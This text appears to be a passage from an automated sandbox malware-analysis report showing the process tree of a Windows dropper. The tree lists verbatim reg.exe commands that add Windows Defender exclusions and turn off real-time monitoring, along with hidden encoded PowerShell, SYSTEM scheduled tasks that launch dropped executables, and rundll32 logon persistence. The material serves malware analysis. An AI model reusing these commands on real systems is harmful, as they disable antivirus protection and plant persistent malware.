                            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                            8⤵
                              PID:2124
                              • \??\c:\windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                9⤵
                                  PID:2160
                                • \??\c:\windows\SysWOW64\reg.exe
                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                  9⤵
                                    PID:2204
                              • C:\Windows\SysWOW64\forfiles.exe
                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                7⤵
                                  PID:2080
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                    8⤵
                                      PID:2132
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                        9⤵
                                          PID:2168
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                          9⤵
                                            PID:2192
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        schtasks /CREATE /TN "gJySJOgRY" /SC once /ST 15:52:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                        7⤵
                                        • Creates scheduled task(s)
                                        PID:2352
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        schtasks /run /I /tn "gJySJOgRY"
                                        7⤵
                                          PID:2388
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /DELETE /F /TN "gJySJOgRY"
                                          7⤵
                                            PID:2152
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks /CREATE /TN "bFZpgwNlQHGZXuKxuE" /SC once /ST 23:54:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf\CPfhbPwQuahfpxY\XpyZcxa.exe\" 9i /site_id 757674 /S" /V1 /F
                                            7⤵
                                            • Drops file in Windows directory
                                            • Creates scheduled task(s)
                                            PID:2176
                              • C:\Windows\system32\taskeng.exe
                                taskeng.exe {0447C2BB-0F22-4A16-823A-B95CDABFAC8D} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
                                1⤵
                                  PID:2428
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                    2⤵
                                    • Drops file in System32 directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2480
                                    • C:\Windows\system32\gpupdate.exe
                                      "C:\Windows\system32\gpupdate.exe" /force
                                      3⤵
                                        PID:2908
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                      2⤵
                                      • Drops file in System32 directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2392
                                      • C:\Windows\system32\gpupdate.exe
                                        "C:\Windows\system32\gpupdate.exe" /force
                                        3⤵
                                          PID:2676
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                        2⤵
                                        • Drops file in System32 directory
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2484
                                        • C:\Windows\system32\gpupdate.exe
                                          "C:\Windows\system32\gpupdate.exe" /force
                                          3⤵
                                            PID:2872
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                          2⤵
                                          • Drops file in System32 directory
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2420
                                          • C:\Windows\system32\gpupdate.exe
                                            "C:\Windows\system32\gpupdate.exe" /force
                                            3⤵
                                              PID:1296
                                        • C:\Windows\system32\gpscript.exe
                                          gpscript.exe /RefreshSystemParam
                                          1⤵
                                            PID:3016
                                          • C:\Windows\system32\taskeng.exe
                                            taskeng.exe {D2CDE283-B3B9-4C66-9E2C-61410649DD2C} S-1-5-18:NT AUTHORITY\System:Service:
                                            1⤵
                                              PID:2328
                                              • C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf\CPfhbPwQuahfpxY\XpyZcxa.exe
                                                C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf\CPfhbPwQuahfpxY\XpyZcxa.exe 9i /site_id 757674 /S
                                                2⤵
                                                • Executes dropped EXE
                                                • Drops file in System32 directory
                                                PID:2344
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /CREATE /TN "gybTbvnYo" /SC once /ST 18:05:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                  3⤵
                                                  • Creates scheduled task(s)
                                                  PID:768
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /run /I /tn "gybTbvnYo"
                                                  3⤵
                                                    PID:2352
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /DELETE /F /TN "gybTbvnYo"
                                                    3⤵
                                                      PID:2796
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                      3⤵
                                                        PID:2804
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                          4⤵
                                                          • Modifies Windows Defender Real-time Protection settings
                                                          PID:2288
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                                                        3⤵
                                                          PID:1668
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                                                            4⤵
                                                            • Modifies Windows Defender Real-time Protection settings
                                                            PID:2244
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /CREATE /TN "gYvQgZpoI" /SC once /ST 18:39:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                          3⤵
                                                          • Creates scheduled task(s)
                                                          PID:2932
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /run /I /tn "gYvQgZpoI"
                                                          3⤵
                                                            PID:2492
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /DELETE /F /TN "gYvQgZpoI"
                                                            3⤵
                                                              PID:2972
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:32
                                                              3⤵
                                                                PID:2968
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:32
                                                                  4⤵
                                                                  • Windows security bypass
                                                                  PID:2424
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:64
                                                                3⤵
                                                                  PID:2984
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:64
                                                                    4⤵
                                                                    • Windows security bypass
                                                                    PID:2056
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:32
                                                                  3⤵
                                                                    PID:2304
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:32
                                                                      4⤵
                                                                        PID:1296
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:64
                                                                      3⤵
                                                                        PID:2192
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:64
                                                                          4⤵
                                                                            PID:2316
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /C copy nul "C:\Windows\Temp\MVUDcXCMdfDwUXap\iEsumxSt\BkVwllNIvlBPbZan.wsf"
                                                                          3⤵
                                                                            PID:524
                                                                          • C:\Windows\SysWOW64\wscript.exe
                                                                            wscript "C:\Windows\Temp\MVUDcXCMdfDwUXap\iEsumxSt\BkVwllNIvlBPbZan.wsf"
                                                                            3⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            PID:692
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GRdwjAGSaHbU2" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2132
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GRdwjAGSaHbU2" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2664
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JlANBNwtXkrgC" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1172
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JlANBNwtXkrgC" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2588
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PIAiHDebRQmhprJxqbR" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2296
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PIAiHDebRQmhprJxqbR" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:596
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VKMQhPdtjiUn" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2372
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VKMQhPdtjiUn" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2352
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yDqFPnIeU" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1476
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yDqFPnIeU" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2704
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RPguJxSuNaFIZdVB" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2436
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RPguJxSuNaFIZdVB" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:3004
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:304
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1980
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:1568
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:64
                                                                              4⤵
                                                                              • Windows security bypass
                                                                              PID:2020
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GRdwjAGSaHbU2" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                                PID:2700
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GRdwjAGSaHbU2" /t REG_DWORD /d 0 /reg:64
                                                                                4⤵
                                                                                  PID:2744
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JlANBNwtXkrgC" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                    PID:308
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JlANBNwtXkrgC" /t REG_DWORD /d 0 /reg:64
                                                                                    4⤵
                                                                                      PID:2280
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PIAiHDebRQmhprJxqbR" /t REG_DWORD /d 0 /reg:32
                                                                                      4⤵
                                                                                        PID:2276
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PIAiHDebRQmhprJxqbR" /t REG_DWORD /d 0 /reg:64
                                                                                        4⤵
                                                                                          PID:1668
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VKMQhPdtjiUn" /t REG_DWORD /d 0 /reg:32
                                                                                          4⤵
                                                                                            PID:2576
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VKMQhPdtjiUn" /t REG_DWORD /d 0 /reg:64
                                                                                            4⤵
                                                                                              PID:2516
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yDqFPnIeU" /t REG_DWORD /d 0 /reg:64
                                                                                              4⤵
                                                                                                PID:1684
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yDqFPnIeU" /t REG_DWORD /d 0 /reg:32
                                                                                                4⤵
                                                                                                  PID:2840
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RPguJxSuNaFIZdVB" /t REG_DWORD /d 0 /reg:32
                                                                                                  4⤵
                                                                                                    PID:2864
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RPguJxSuNaFIZdVB" /t REG_DWORD /d 0 /reg:64
                                                                                                    4⤵
                                                                                                      PID:3020
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                        PID:2556
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf" /t REG_DWORD /d 0 /reg:64
                                                                                                        4⤵
                                                                                                          PID:2636
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:32
                                                                                                          4⤵
                                                                                                            PID:1472
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MVUDcXCMdfDwUXap" /t REG_DWORD /d 0 /reg:64
                                                                                                            4⤵
                                                                                                              PID:2888
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gSAVhzaoy" /SC once /ST 08:12:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            3⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:572
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gSAVhzaoy"
                                                                                                            3⤵
                                                                                                              PID:2952
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gSAVhzaoy"
                                                                                                              3⤵
                                                                                                                PID:1676
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                                                3⤵
                                                                                                                  PID:2592
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                                                    4⤵
                                                                                                                      PID:2612
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:1172
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                                                        4⤵
                                                                                                                          PID:2588
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /CREATE /TN "ZgxYrmkCaIygifaWS" /SC once /ST 00:58:42 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MVUDcXCMdfDwUXap\JyihuQCrYXOItlv\LszBSQw.exe\" 64 /site_id 757674 /S" /V1 /F
                                                                                                                        3⤵
                                                                                                                        • Drops file in Windows directory
                                                                                                                        • Creates scheduled task(s)
                                                                                                                        PID:2616
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /run /I /tn "ZgxYrmkCaIygifaWS"
                                                                                                                        3⤵
                                                                                                                          PID:2296
                                                                                                                      • C:\Windows\Temp\MVUDcXCMdfDwUXap\JyihuQCrYXOItlv\LszBSQw.exe
                                                                                                                        C:\Windows\Temp\MVUDcXCMdfDwUXap\JyihuQCrYXOItlv\LszBSQw.exe 64 /site_id 757674 /S
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Checks computer location settings
                                                                                                                        • Drops Chrome extension
                                                                                                                        • Drops file in System32 directory
                                                                                                                        • Drops file in Program Files directory
                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                        • Modifies system certificate store
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        PID:596
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /DELETE /F /TN "bFZpgwNlQHGZXuKxuE"
                                                                                                                          3⤵
                                                                                                                            PID:2568
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:1476
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                4⤵
                                                                                                                                  PID:2520
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:776
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                    4⤵
                                                                                                                                      PID:2548
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yDqFPnIeU\xHBcsy.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "izXVUyiFnrCcvNJ" /V1 /F
                                                                                                                                    3⤵
                                                                                                                                    • Drops file in Windows directory
                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                    PID:2732
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /CREATE /TN "izXVUyiFnrCcvNJ2" /F /xml "C:\Program Files (x86)\yDqFPnIeU\zzlJRQl.xml" /RU "SYSTEM"
                                                                                                                                    3⤵
                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                    PID:1412
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /END /TN "izXVUyiFnrCcvNJ"
                                                                                                                                    3⤵
                                                                                                                                      PID:2676
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "izXVUyiFnrCcvNJ"
                                                                                                                                      3⤵
